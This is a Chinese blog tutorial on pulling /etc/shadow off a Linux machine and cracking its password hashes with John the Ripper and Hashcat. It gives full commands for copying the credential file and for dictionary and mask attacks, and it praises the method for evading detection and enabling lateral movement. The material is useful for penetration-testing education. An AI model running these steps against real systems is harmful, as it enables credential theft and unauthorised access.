【学习记录】Linux 密码破解实战
文章目录
- 📌 前言
- 🔐 一、Linux 密码存储机制简介
- 1. `/etc/shadow` 文件的作用
- 2. 为何选择 `/etc/shadow` 攻击?
- 📁 二、获取 `/etc/shadow` 文件
- 💻 三、使用 John the Ripper 提取并破解 Hash
- 步骤 1:安装 John the Ripper
- 步骤 2:合并 `/etc/passwd` 与 `/etc/shadow`
- 步骤 3:开始破解
- 🔥 四、使用 Hashcat 破解 Hash
- 步骤 1:准备 Hash 文件
- 步骤 2:使用 Hashcat 破解 SHA-512 Hash
- ✅ 使用字典攻击(模式 `-m 1800`)
- ✅ 使用暴力破解(掩码攻击)
- 📋 示例命令汇总
- 🧠 五、总结
📌 前言
在渗透测试或安全研究过程中,获取目标系统的用户凭证是一项关键任务。与 Windows 不同,Linux 系统中用户的登录密码不会以明文形式存储,而是经过加密处理后以哈希值的形式保存在系统文件 /etc/shadow
中。
本文将详细介绍如何通过提取 Linux 系统中的 /etc/shadow
文件,并结合 John the Ripper 和 Hashcat 进行本地哈希提取与爆破,从而实现对 Linux 用户密码的破解。
整个过程无需上传恶意工具,具备良好的隐蔽性和实用性,适用于红队渗透、取证分析等场景。
🔐 一、Linux 密码存储机制简介
1. /etc/shadow
文件的作用
在 Linux 系统中,用户的密码信息通常存储在 /etc/shadow
文件中,其格式如下:
username:password_hash:last_change:min_age:max_age:warning_period:inactivity_period:expiration_date:reserved_field
username
:用户名;password_hash
:加密后的密码哈希(如 SHA-512);- 其余字段用于管理密码策略(如过期时间、最小最大使用天数等)。
📌 注意:只有 root 权限才能读取 /etc/shadow
文件内容。
2. 为何选择 /etc/shadow
攻击?
- ✅ 无需上传工具:只需导出
/etc/shadow
文件即可完成信息提取; - ✅ 规避检测:直接读取系统文件,不易被杀毒软件或 EDR 检测;
- ✅ 离线分析:可在本地环境中进行破解,不受目标网络环境限制;
- ✅ 高价值信息:可获取所有用户账户的密码哈希,便于后续攻击。
📁 二、获取 /etc/shadow
文件
要获取 /etc/shadow
文件,你需要具有目标机器的 root 权限。可以通过 SSH 登录或其他方式访问目标机器,并执行以下命令复制文件:
scp root@target_machine:/etc/shadow /path/to/local/directory/
或者,先拷贝到临时目录再下载:
cp /etc/shadow /tmp/shadow_backup
scp root@target_machine:/tmp/shadow_backup /path/to/local/directory/
成功获取后,即可在本地进行下一步操作。
💻 三、使用 John the Ripper 提取并破解 Hash
John the Ripper 是一款广泛使用的开源密码破解工具,支持多种哈希算法,尤其擅长解析 /etc/shadow
文件。
步骤 1:安装 John the Ripper
在大多数 Linux 发行版中,可以通过包管理器安装:
sudo apt install john # Debian/Ubuntu
sudo yum install john # CentOS/RHEL
步骤 2:合并 /etc/passwd
与 /etc/shadow
使用 unshadow
工具将两个文件合并成一个可用于 John 解析的格式:
unshadow /etc/passwd /etc/shadow > passwords.txt
如果你是在本地操作已下载的 shadow 文件:
unshadow /etc/passwd /path/to/local/shadow_backup > passwords.txt
步骤 3:开始破解
默认情况下,John 会尝试自动识别哈希类型并进行破解:
john passwords.txt
如果知道是 SHA-512 加密(现代 Linux 系统常用),可以指定格式:
john --format=sha512crypt passwords.txt
你也可以使用字典攻击加速破解:
john --wordlist=/path/to/your/dictionary.txt --format=sha512crypt passwords.txt
🔥 四、使用 Hashcat 破解 Hash
Hashcat 是目前最流行的多平台密码恢复工具之一,支持 GPU 加速,效率极高。
步骤 1:准备 Hash 文件
从 /etc/shadow
文件中提取纯哈希值,保存为 hashes.txt
,内容示例如下:
$6$salt$hash_value
$6$salt$another_hash_value
📌 $6$
表示使用的是 SHA-512 加密算法。
步骤 2:使用 Hashcat 破解 SHA-512 Hash
✅ 使用字典攻击(模式 -m 1800
)
hashcat -a 0 -m 1800 hashes.txt /path/to/your/dictionary.txt
-a 0
:表示字典攻击模式;-m 1800
:SHA-512 crypt 哈希类型;/path/to/your/dictionary.txt
:自定义字典路径。
✅ 使用暴力破解(掩码攻击)
若无合适字典,也可尝试暴力破解:
hashcat -a 3 -m 1800 hashes.txt ?a?a?a?a?a?a?a?a --increment --increment-min=1 --increment-max=10
-a 3
:掩码攻击模式;?a
:代表任意字符(大小写+数字+符号);--increment
:递增长度破解;--increment-min=1
~--increment-max=10
:设置密码长度范围。
📋 示例命令汇总
类型 | 工具 | 命令模板 |
---|---|---|
合并用户与密码 | unshadow | unshadow /etc/passwd /etc/shadow > passwords.txt |
自动破解 | John the Ripper | john passwords.txt |
指定哈希类型 | John the Ripper | john --format=sha512crypt passwords.txt |
字典攻击 | Hashcat | hashcat -a 0 -m 1800 hashes.txt dict.txt |
暴力破解 | Hashcat | hashcat -a 3 -m 1800 hashes.txt ?a... |
🧠 五、总结
本文详细介绍了如何从 Linux 系统中提取 /etc/shadow
文件,并结合 John the Ripper 和 Hashcat 进行本地密码哈希的提取与破解。
主要优势包括:
- ✅ 无需上传工具:仅需导出系统文件即可完成操作;
- ✅ 规避检测:使用原生命令操作,降低被发现的风险;
- ✅ 离线分析:可在本地进行高效破解,提升灵活性;
- ✅ 获取高价值用户凭证:有助于进一步横向渗透。
📌 注意:本文仅供学习交流,请勿用于非法用途。未经授权获取他人系统权限属于违法行为。
💬 欢迎留言交流你在实际操作中遇到的问题,或分享你的经验技巧!